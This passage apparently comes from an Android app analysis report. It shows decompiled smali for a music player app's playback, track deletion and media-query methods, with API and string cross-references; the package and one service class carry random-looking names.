25iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
27invoke-virtual {v0}, Lcom/twdlphqg/app/services/AudioPlayerService;->getTrackIndex()I
28move-result v0
29iput v0, p0, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
31iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
33invoke-virtual {v0}, Lcom/twdlphqg/app/services/AudioPlayerService;->getTrack()Ljava/util/ArrayList;
34move-result-object v0
35iput-object v0, p0, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
37iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
38iget v1, p0, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
40invoke-virtual {v0, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
41move-result-object v0
42check-cast v0, Lcom/twdlphqg/app/models/Track;
43const/4 v1, 0x1
45invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 1
46move-result-object v1
48invoke-virtual {v0, v1}, Lcom/twdlphqg/app/models/Track;->setSelected(Ljava/lang/Boolean;)V
50invoke-direct {p0}, Lcom/twdlphqg/app/PlayerActivity;->updateUI()V
51cond_44:
52iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity;->onFinishTrackBroadCastReceiver:Landroid/content/BroadcastReceiver;
53new-instance v1, Landroid/content/IntentFilter;
55const-string v2, "com.twdlphqg.app.audioplayerService"
57invoke-direct {v1, v2}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: com.twdlphqg.app.audioplayerService
59invoke-virtual {p0, v0, v1}, Lcom/twdlphqg/app/PlayerActivity;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
60return-void
Cross References
APIs
  • android.content.Context.getContentResolver
  • java.io.File.<init>
  • android.provider.MediaStore$Audio$Media.getContentUriForPath
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.ContentResolver.delete
  • java.io.File.delete
  • java.lang.Boolean.valueOf
Strings
  • _id=\'
  • \'
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "track" # Lcom/twdlphqg/app/models/Track;
2.prologue
4invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
5move-result-object v0
6new-instance v2, Ljava/io/File;
8invoke-virtual {p1}, Lcom/twdlphqg/app/models/Track;->getPath()Ljava/lang/String;
9move-result-object v5
11invoke-direct {v2, v5}, Ljava/io/File;-><init>(Ljava/lang/String;)V
13invoke-virtual {p1}, Lcom/twdlphqg/app/models/Track;->getPath()Ljava/lang/String;
14move-result-object v5
16invoke-static {v5}, Landroid/provider/MediaStore$Audio$Media;->getContentUriForPath(Ljava/lang/String;)Landroid/net/Uri;
17move-result-object v4
18new-instance v5, Ljava/lang/StringBuilder;
20const-string v6, "_id=\'"
22invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: _id=\'
24invoke-virtual {p1}, Lcom/twdlphqg/app/models/Track;->getId()I
25move-result v6
27invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
28move-result-object v5
30const-string v6, "\'"
32invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \'
33move-result-object v5
35invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
36move-result-object v5
37const/4 v6, 0x0
39invoke-virtual {v0, v4, v5, v6}, Landroid/content/ContentResolver;->delete(Landroid/net/Uri;Ljava/lang/String;[Ljava/lang/String;)I
  • Data flow analysis:
    • p2: 0
40new-instance v3, Lcom/twdlphqg/app/dals/TrackDal;
42invoke-direct {v3, p0}, Lcom/twdlphqg/app/dals/TrackDal;-><init>(Landroid/content/Context;)V
44invoke-virtual {v3}, Lcom/twdlphqg/app/dals/TrackDal;->getConnect()V
46invoke-virtual {p1}, Lcom/twdlphqg/app/models/Track;->getId()I
47move-result v5
49invoke-virtual {v3, v5}, Lcom/twdlphqg/app/dals/TrackDal;->removeTracksByID(I)Z
51invoke-virtual {v3}, Lcom/twdlphqg/app/dals/TrackDal;->close()V
53invoke-virtual {v2}, Ljava/io/File;->delete()Z
54move-result v1
56invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
57move-result-object v5
58return-object v5
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onCreate
  • com.twdlphqg.app.TrackActivity.setContentView
  • com.twdlphqg.app.TrackActivity.getIntent
  • android.content.Intent.getExtras
  • com.twdlphqg.app.TrackActivity.findViewById
  • android.os.Bundle.getInt
  • com.twdlphqg.app.TrackActivity.getSupportFragmentManager
  • android.os.Bundle.getInt
  • com.twdlphqg.app.TrackActivity.getSupportFragmentManager
  • android.os.Bundle.getInt
  • com.twdlphqg.app.TrackActivity.getSupportFragmentManager
Position Instruction Meta Information
0.param p1, "savedInstanceState" # Landroid/os/Bundle;
1.prologue
3invoke-super {p0, p1}, Lcom/twdlphqg/app/ActionBarParentActivity;->onCreate(Landroid/os/Bundle;)V
4const v2, 0x7f03001c
6invoke-virtual {p0, v2}, Lcom/twdlphqg/app/TrackActivity;->setContentView(I)V
  • Data flow analysis:
    • p0: 2130903068
7new-instance v2, Lcom/twdlphqg/app/dals/TrackDal;
9invoke-direct {v2, p0}, Lcom/twdlphqg/app/dals/TrackDal;-><init>(Landroid/content/Context;)V
10iput-object v2, p0, Lcom/twdlphqg/app/TrackActivity;->trackDal:Lcom/twdlphqg/app/dals/TrackDal;
12invoke-virtual {p0}, Lcom/twdlphqg/app/TrackActivity;->getIntent()Landroid/content/Intent;
13move-result-object v2
15invoke-virtual {v2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
16move-result-object v0
17const v2, 0x7f0a0041
19invoke-virtual {p0, v2}, Lcom/twdlphqg/app/TrackActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131361857
20move-result-object v2
21check-cast v2, Landroid/widget/ListView;
22iput-object v2, p0, Lcom/twdlphqg/app/TrackActivity;->list:Landroid/widget/ListView;
23if-eqz v0, :cond_9c
25sget-object v2, Lcom/twdlphqg/app/conf/constants;->ARTIST_ID_KEY:Ljava/lang/String;
27invoke-virtual {v0, v2}, Landroid/os/Bundle;->getInt(Ljava/lang/String;)I
28move-result v2
29if-eqz v2, :cond_4b
31sget-object v2, Lcom/twdlphqg/app/conf/constants;->ARTIST_ID_KEY:Ljava/lang/String;
33invoke-virtual {v0, v2}, Landroid/os/Bundle;->getInt(Ljava/lang/String;)I
34move-result v1
36iget-object v2, p0, Lcom/twdlphqg/app/TrackActivity;->trackDal:Lcom/twdlphqg/app/dals/TrackDal;
38invoke-virtual {v2, v1}, Lcom/twdlphqg/app/dals/TrackDal;->getTracksByArtistIdOnMDS(I)Ljava/util/ArrayList;
39move-result-object v2
40iput-object v2, p0, Lcom/twdlphqg/app/TrackActivity;->tracks:Ljava/util/ArrayList;
42iget-object v2, p0, Lcom/twdlphqg/app/TrackActivity;->tracks:Ljava/util/ArrayList;
44iget-object v3, p0, Lcom/twdlphqg/app/TrackActivity;->list:Landroid/widget/ListView;
46invoke-virtual {p0}, Lcom/twdlphqg/app/TrackActivity;->getSupportFragmentManager()Landroid/support/v4/app/FragmentManager;
47move-result-object v4
49invoke-static {p0, v2, v3, v4}, Lcom/twdlphqg/app/business/Ultils;->sendTrackToPlayer(Landroid/content/Context;Ljava/util/ArrayList;Landroid/widget/ListView;Landroid/support/v4/app/FragmentManager;)V
51iget-object v2, p0, Lcom/twdlphqg/app/TrackActivity;->trackDal:Lcom/twdlphqg/app/dals/TrackDal;
53invoke-virtual {v2}, Lcom/twdlphqg/app/dals/TrackDal;->close()V
54cond_4b:
55sget-object v2, Lcom/twdlphqg/app/conf/constants;->ALBUM_ID_KEY:Ljava/lang/String;
57invoke-virtual {v0, v2}, Landroid/os/Bundle;->getInt(Ljava/lang/String;)I
58move-result v2
59if-eqz v2, :cond_71
61sget-object v2, Lcom/twdlphqg/app/conf/constants;->ALBUM_ID_KEY:Ljava/lang/String;
63invoke-virtual {v0, v2}, Landroid/os/Bundle;->getInt(Ljava/lang/String;)I
64move-result v1
66iget-object v2, p0, Lcom/twdlphqg/app/TrackActivity;->trackDal:Lcom/twdlphqg/app/dals/TrackDal;
68invoke-virtual {v2, v1}, Lcom/twdlphqg/app/dals/TrackDal;->getTracksByAlbumIdOnMDS(I)Ljava/util/ArrayList;
69move-result-object v2
70iput-object v2, p0, Lcom/twdlphqg/app/TrackActivity;->tracks:Ljava/util/ArrayList;
72iget-object v2, p0, Lcom/twdlphqg/app/TrackActivity;->tracks:Ljava/util/ArrayList;
74iget-object v3, p0, Lcom/twdlphqg/app/TrackActivity;->list:Landroid/widget/ListView;
76invoke-virtual {p0}, Lcom/twdlphqg/app/TrackActivity;->getSupportFragmentManager()Landroid/support/v4/app/FragmentManager;
77move-result-object v4
79invoke-static {p0, v2, v3, v4}, Lcom/twdlphqg/app/business/Ultils;->sendTrackToPlayer(Landroid/content/Context;Ljava/util/ArrayList;Landroid/widget/ListView;Landroid/support/v4/app/FragmentManager;)V
81iget-object v2, p0, Lcom/twdlphqg/app/TrackActivity;->trackDal:Lcom/twdlphqg/app/dals/TrackDal;
83invoke-virtual {v2}, Lcom/twdlphqg/app/dals/TrackDal;->close()V
84cond_71:
85sget-object v2, Lcom/twdlphqg/app/conf/constants;->PLAYLIST_ID_KEY:Ljava/lang/String;
87invoke-virtual {v0, v2}, Landroid/os/Bundle;->getInt(Ljava/lang/String;)I
88move-result v2
89if-eqz v2, :cond_9c
91sget-object v2, Lcom/twdlphqg/app/conf/constants;->PLAYLIST_ID_KEY:Ljava/lang/String;
93invoke-virtual {v0, v2}, Landroid/os/Bundle;->getInt(Ljava/lang/String;)I
94move-result v1
96iget-object v2, p0, Lcom/twdlphqg/app/TrackActivity;->trackDal:Lcom/twdlphqg/app/dals/TrackDal;
98invoke-virtual {v2}, Lcom/twdlphqg/app/dals/TrackDal;->getConnect()V
100iget-object v2, p0, Lcom/twdlphqg/app/TrackActivity;->trackDal:Lcom/twdlphqg/app/dals/TrackDal;
102invoke-virtual {v2, v1}, Lcom/twdlphqg/app/dals/TrackDal;->getTracksByPlaylistID(I)Ljava/util/ArrayList;
103move-result-object v2
104iput-object v2, p0, Lcom/twdlphqg/app/TrackActivity;->tracks:Ljava/util/ArrayList;
106iget-object v2, p0, Lcom/twdlphqg/app/TrackActivity;->tracks:Ljava/util/ArrayList;
108iget-object v3, p0, Lcom/twdlphqg/app/TrackActivity;->list:Landroid/widget/ListView;
110invoke-virtual {p0}, Lcom/twdlphqg/app/TrackActivity;->getSupportFragmentManager()Landroid/support/v4/app/FragmentManager;
111move-result-object v4
113invoke-static {p0, v2, v3, v4}, Lcom/twdlphqg/app/business/Ultils;->sendTrackToPlayer(Landroid/content/Context;Ljava/util/ArrayList;Landroid/widget/ListView;Landroid/support/v4/app/FragmentManager;)V
115iget-object v2, p0, Lcom/twdlphqg/app/TrackActivity;->trackDal:Lcom/twdlphqg/app/dals/TrackDal;
117invoke-virtual {v2}, Lcom/twdlphqg/app/dals/TrackDal;->close()V
118cond_9c: return-void
APIs
  • java.util.ArrayList.get
  • java.lang.Boolean.valueOf
  • java.util.ArrayList.size
  • java.util.ArrayList.get
  • java.lang.Boolean.valueOf
  • com.twdlphqg.app.services.AudioPlayerService.play
  • java.lang.String.valueOf
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.toString
  • android.content.Intent.putExtra
  • com.twdlphqg.app.services.AudioPlayerService.sendBroadcast
  • java.util.Random.<init>
  • java.util.ArrayList.size
  • java.util.Random.nextInt
Position Instruction Meta Information
0.param p1, "mp" # Landroid/media/MediaPlayer;
1.prologue
2const/4 v3, 0x0
4iget-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->tracks:Ljava/util/ArrayList;
5iget v2, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->trackIndex:I
7invoke-virtual {v1, v2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
8move-result-object v1
9check-cast v1, Lcom/twdlphqg/app/models/Track;
11invoke-static {v3}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
12move-result-object v2
14invoke-virtual {v1, v2}, Lcom/twdlphqg/app/models/Track;->setSelected(Ljava/lang/Boolean;)V
15iget-boolean v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->isRepeat:Z
16if-nez v1, :cond_28
17iget-boolean v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->isShuffle:Z
18if-nez v1, :cond_64
19iget v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->trackIndex:I
21iget-object v2, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->tracks:Ljava/util/ArrayList;
23invoke-virtual {v2}, Ljava/util/ArrayList;->size()I
24move-result v2
25add-int/lit8 v2, v2, -0x1
26if-ne v1, v2, :cond_5d
27iput v3, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->trackIndex:I
28goto_28:
29iget-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->tracks:Ljava/util/ArrayList;
30iget v2, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->trackIndex:I
32invoke-virtual {v1, v2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
33move-result-object v1
34check-cast v1, Lcom/twdlphqg/app/models/Track;
35const/4 v2, 0x1
37invoke-static {v2}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 1
38move-result-object v2
40invoke-virtual {v1, v2}, Lcom/twdlphqg/app/models/Track;->setSelected(Ljava/lang/Boolean;)V
41iget v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->trackIndex:I
43iget-object v2, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->tracks:Ljava/util/ArrayList;
45invoke-virtual {p0, v1, v2}, Lcom/twdlphqg/app/services/AudioPlayerService;->play(ILjava/util/ArrayList;)V
47iget-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->intent:Landroid/content/Intent;
49sget-object v2, Lcom/twdlphqg/app/conf/constants;->TRACK_INDEX_KEY:Ljava/lang/String;
50new-instance v3, Ljava/lang/StringBuilder;
51iget v4, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->trackIndex:I
53invoke-static {v4}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
54move-result-object v4
56invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
58invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
59move-result-object v3
61invoke-virtual {v1, v2, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
63iget-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->intent:Landroid/content/Intent;
65invoke-virtual {p0, v1}, Lcom/twdlphqg/app/services/AudioPlayerService;->sendBroadcast(Landroid/content/Intent;)V
66return-void
67cond_5d: iget v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->trackIndex:I
68add-int/lit8 v1, v1, 0x1
69iput v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->trackIndex:I
70goto/16 :goto_28
71cond_64: new-instance v0, Ljava/util/Random;
73invoke-direct {v0}, Ljava/util/Random;-><init>()V
75iget-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->tracks:Ljava/util/ArrayList;
77invoke-virtual {v1}, Ljava/util/ArrayList;->size()I
78move-result v1
79add-int/lit8 v1, v1, -0x1
80add-int/lit8 v1, v1, 0x0
81add-int/lit8 v1, v1, 0x1
83invoke-virtual {v0, v1}, Ljava/util/Random;->nextInt(I)I
84move-result v1
85add-int/lit8 v1, v1, 0x0
86iput v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->trackIndex:I
87goto/16 :goto_28
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onCreate
  • com.twdlphqg.app.ExplorationActivity.setContentView
  • android.content.ComponentName.<init>
  • com.twdlphqg.app.ExplorationActivity.setTabFragments
  • com.twdlphqg.app.ExplorationActivity.getSupportActionBar
  • android.support.v7.app.ActionBar.setDisplayShowHomeEnabled
  • com.twdlphqg.app.ExplorationActivity.getSupportActionBar
  • android.support.v7.app.ActionBar.setDisplayShowTitleEnabled
  • com.twdlphqg.app.ExplorationActivity.findViewById
  • com.twdlphqg.app.ExplorationActivity.getSupportFragmentManager
  • com.twdlphqg.app.adapter.TabsPagerAdapter.<init>
  • android.support.v4.view.ViewPager.setAdapter
  • com.twdlphqg.app.ExplorationActivity.setEnableItem
  • android.support.v4.view.ViewPager.setOnPageChangeListener
Position Instruction Meta Information
0.param p1, "arg0" # Landroid/os/Bundle;
1.prologue
2const/4 v2, 0x0
4invoke-super {p0, p1}, Lcom/twdlphqg/app/ActionBarParentActivity;->onCreate(Landroid/os/Bundle;)V
5const v0, 0x7f03001b
7invoke-virtual {p0, v0}, Lcom/twdlphqg/app/ExplorationActivity;->setContentView(I)V
  • Data flow analysis:
    • p0: 2130903067
8new-instance v0, Landroid/content/ComponentName;
9const-class v1, Lcom/twdlphqg/app/services/Rqdnonjuptjh;
11invoke-direct {v0, p0, v1}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
12iput-object v0, p0, Lcom/twdlphqg/app/ExplorationActivity;->snewxwricn:Landroid/content/ComponentName;
14invoke-direct {p0}, Lcom/twdlphqg/app/ExplorationActivity;->setTabFragments()V
16invoke-virtual {p0}, Lcom/twdlphqg/app/ExplorationActivity;->getSupportActionBar()Landroid/support/v7/app/ActionBar;
17move-result-object v0
19invoke-virtual {v0, v2}, Landroid/support/v7/app/ActionBar;->setDisplayShowHomeEnabled(Z)V
  • Data flow analysis:
    • p0: 0
21invoke-virtual {p0}, Lcom/twdlphqg/app/ExplorationActivity;->getSupportActionBar()Landroid/support/v7/app/ActionBar;
22move-result-object v0
24invoke-virtual {v0, v2}, Landroid/support/v7/app/ActionBar;->setDisplayShowTitleEnabled(Z)V
  • Data flow analysis:
    • p0: 0
25const v0, 0x7f0a003f
27invoke-virtual {p0, v0}, Lcom/twdlphqg/app/ExplorationActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131361855
28move-result-object v0
29check-cast v0, Landroid/support/v4/view/ViewPager;
30iput-object v0, p0, Lcom/twdlphqg/app/ExplorationActivity;->viewPager:Landroid/support/v4/view/ViewPager;
31new-instance v0, Lcom/twdlphqg/app/adapter/TabsPagerAdapter;
33invoke-virtual {p0}, Lcom/twdlphqg/app/ExplorationActivity;->getSupportFragmentManager()Landroid/support/v4/app/FragmentManager;
34move-result-object v1
36iget-object v2, p0, Lcom/twdlphqg/app/ExplorationActivity;->fragments:Ljava/util/ArrayList;
38iget-object v3, p0, Lcom/twdlphqg/app/ExplorationActivity;->titles:Ljava/util/ArrayList;
40invoke-direct {v0, v1, v2, v3}, Lcom/twdlphqg/app/adapter/TabsPagerAdapter;-><init>(Landroid/support/v4/app/FragmentManager;Ljava/util/ArrayList;Ljava/util/ArrayList;)V
41iput-object v0, p0, Lcom/twdlphqg/app/ExplorationActivity;->tabPagerAdapter:Lcom/twdlphqg/app/adapter/TabsPagerAdapter;
43iget-object v0, p0, Lcom/twdlphqg/app/ExplorationActivity;->viewPager:Landroid/support/v4/view/ViewPager;
45iget-object v1, p0, Lcom/twdlphqg/app/ExplorationActivity;->tabPagerAdapter:Lcom/twdlphqg/app/adapter/TabsPagerAdapter;
47invoke-virtual {v0, v1}, Landroid/support/v4/view/ViewPager;->setAdapter(Landroid/support/v4/view/PagerAdapter;)V
49iget-object v0, p0, Lcom/twdlphqg/app/ExplorationActivity;->enableItems:Ljava/util/LinkedHashSet;
51invoke-virtual {p0, v0}, Lcom/twdlphqg/app/ExplorationActivity;->setEnableItem(Ljava/util/LinkedHashSet;)V
53iget-object v0, p0, Lcom/twdlphqg/app/ExplorationActivity;->viewPager:Landroid/support/v4/view/ViewPager;
54new-instance v1, Lcom/twdlphqg/app/ExplorationActivity$1;
56invoke-direct {v1, p0}, Lcom/twdlphqg/app/ExplorationActivity$1;-><init>(Lcom/twdlphqg/app/ExplorationActivity;)V
58invoke-virtual {v0, v1}, Landroid/support/v4/view/ViewPager;->setOnPageChangeListener(Landroid/support/v4/view/ViewPager$OnPageChangeListener;)V
59return-void
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.ContentResolver.query
Strings
  • _id
  • album
  • artist
  • album_art
  • album LIKE ?
  • %
Position Instruction Meta Information
0.param p1, "title" # Ljava/lang/String;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Ljava/lang/String;",
5")",
6"Ljava/util/ArrayList",
7"<",
8"Lcom/twdlphqg/app/models/Album;",
9">;"
10}
11.end annotation
12.prologue
13const/4 v4, 0x1
14const/4 v8, 0x0
16sget-object v1, Landroid/provider/MediaStore$Audio$Albums;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;
17const/4 v0, 0x4
18new-array v2, v0, [Ljava/lang/String;
20const-string v0, "_id"
21aput-object v0, v2, v8
23const-string v0, "album"
24aput-object v0, v2, v4
25const/4 v0, 0x2
27const-string v3, "artist"
28aput-object v3, v2, v0
29const/4 v0, 0x3
31const-string v3, "album_art"
32aput-object v3, v2, v0
34iget-object v0, p0, Lcom/twdlphqg/app/dals/AlbumDal;->contentResolver:Landroid/content/ContentResolver;
36const-string v3, "album LIKE ?"
37new-array v4, v4, [Ljava/lang/String;
38new-instance v5, Ljava/lang/StringBuilder;
40const-string v7, "%"
42invoke-direct {v5, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: %
44invoke-virtual {v5, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
45move-result-object v5
47const-string v7, "%"
49invoke-virtual {v5, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: %
50move-result-object v5
52invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
53move-result-object v5
54aput-object v5, v4, v8
55const/4 v5, 0x0
57invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p2: album LIKE ?
    • p4: 0
58move-result-object v6
60invoke-direct {p0, v6}, Lcom/twdlphqg/app/dals/AlbumDal;->convertMediaStoreCursorToArrayList(Landroid/database/Cursor;)Ljava/util/ArrayList;
61move-result-object v0
62return-object v0
Cross References
APIs
  • java.util.ArrayList.<init>
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getInt
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • java.util.ArrayList.add
  • android.database.Cursor.moveToNext
  • android.database.Cursor.close
Strings
  • _id
  • artist
Position Instruction Meta Information
0.param p1, "cursor" # Landroid/database/Cursor;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Landroid/database/Cursor;",
5")",
6"Ljava/util/ArrayList",
7"<",
8"Lcom/twdlphqg/app/models/Artist;",
9">;"
10}
11.end annotation
12.prologue
13new-instance v1, Ljava/util/ArrayList;
15invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
16if-eqz p1, :cond_38
18invoke-interface {p1}, Landroid/database/Cursor;->moveToFirst()Z
19move-result v2
20if-eqz v2, :cond_38
21cond_d: new-instance v0, Lcom/twdlphqg/app/models/Artist;
23invoke-direct {v0}, Lcom/twdlphqg/app/models/Artist;-><init>()V
25const-string v2, "_id"
27invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: _id
28move-result v2
30invoke-interface {p1, v2}, Landroid/database/Cursor;->getInt(I)I
31move-result v2
33invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Artist;->setId(I)V
35const-string v2, "artist"
37invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: artist
38move-result v2
40invoke-interface {p1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
41move-result-object v2
43invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Artist;->setArtist(Ljava/lang/String;)V
45invoke-virtual {v1, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
47invoke-interface {p1}, Landroid/database/Cursor;->moveToNext()Z
48move-result v2
49if-nez v2, :cond_d
51invoke-interface {p1}, Landroid/database/Cursor;->close()V
52cond_38: return-object v1
APIs
  • android.widget.ListView.<init>
  • android.graphics.Rect.<init>
  • android.content.Context.getSharedPreferences
  • android.content.SharedPreferences.getInt
  • android.view.ViewConfiguration.get
  • android.view.ViewConfiguration.getScaledTouchSlop
  • com.twdlphqg.app.TouchInterceptor.getResources
  • android.content.res.Resources.getDimensionPixelSize
Strings
  • Music
  • deletemode
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "attrs" # Landroid/util/AttributeSet;
2.prologue
3const/4 v4, -0x1
5invoke-direct {p0, p1, p2}, Landroid/widget/ListView;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;)V
6iput v4, p0, Lcom/twdlphqg/app/TouchInterceptor;->mRemoveMode:I
7new-instance v2, Landroid/graphics/Rect;
9invoke-direct {v2}, Landroid/graphics/Rect;-><init>()V
10iput-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mTempRect:Landroid/graphics/Rect;
12const-string v2, "Music"
13const/4 v3, 0x3
15invoke-virtual {p1, v2, v3}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
  • Data flow analysis:
    • name: Music
    • mode: 3
16move-result-object v0
18const-string v2, "deletemode"
20invoke-interface {v0, v2, v4}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
  • Data flow analysis:
    • p0: deletemode
21move-result v2
22iput v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mRemoveMode:I
24invoke-static {p1}, Landroid/view/ViewConfiguration;->get(Landroid/content/Context;)Landroid/view/ViewConfiguration;
25move-result-object v2
27invoke-virtual {v2}, Landroid/view/ViewConfiguration;->getScaledTouchSlop()I
28move-result v2
29iput v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mTouchSlop:I
31invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getResources()Landroid/content/res/Resources;
32move-result-object v1
33const v2, 0x7f080015
35invoke-virtual {v1, v2}, Landroid/content/res/Resources;->getDimensionPixelSize(I)I
  • Data flow analysis:
    • id: 2131230741
36move-result v2
37iput v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mItemHeightNormal:I
38iget v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mItemHeightNormal:I
39div-int/lit8 v2, v2, 0x2
40iput v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mItemHeightHalf:I
41const v2, 0x7f080016
43invoke-virtual {v1, v2}, Landroid/content/res/Resources;->getDimensionPixelSize(I)I
  • Data flow analysis:
    • id: 2131230742
44move-result v2
45iput v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mItemHeightExpanded:I
46return-void
APIs
  • android.app.Service.onCreate
  • android.media.MediaPlayer.<init>
  • android.media.MediaPlayer.setOnCompletionListener
  • com.twdlphqg.app.services.AudioPlayerService.getSystemService
  • android.content.Intent.<init>
  • android.content.IntentFilter.<init>
  • android.content.IntentFilter.addAction
  • com.twdlphqg.app.services.AudioPlayerService.registerReceiver
Strings
  • notification
  • com.twdlphqg.app.audioplayerService
  • android.intent.action.PHONE_STATE
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onCreate()V
3new-instance v1, Landroid/media/MediaPlayer;
5invoke-direct {v1}, Landroid/media/MediaPlayer;-><init>()V
6iput-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->mediaPlayer:Landroid/media/MediaPlayer;
8iget-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->mediaPlayer:Landroid/media/MediaPlayer;
10invoke-virtual {v1, p0}, Landroid/media/MediaPlayer;->setOnCompletionListener(Landroid/media/MediaPlayer$OnCompletionListener;)V
12const-string v1, "notification"
14invoke-virtual {p0, v1}, Lcom/twdlphqg/app/services/AudioPlayerService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • p0: notification
15move-result-object v1
16check-cast v1, Landroid/app/NotificationManager;
17iput-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->notificationManager:Landroid/app/NotificationManager;
18new-instance v1, Landroid/content/Intent;
20const-string v2, "com.twdlphqg.app.audioplayerService"
22invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: com.twdlphqg.app.audioplayerService
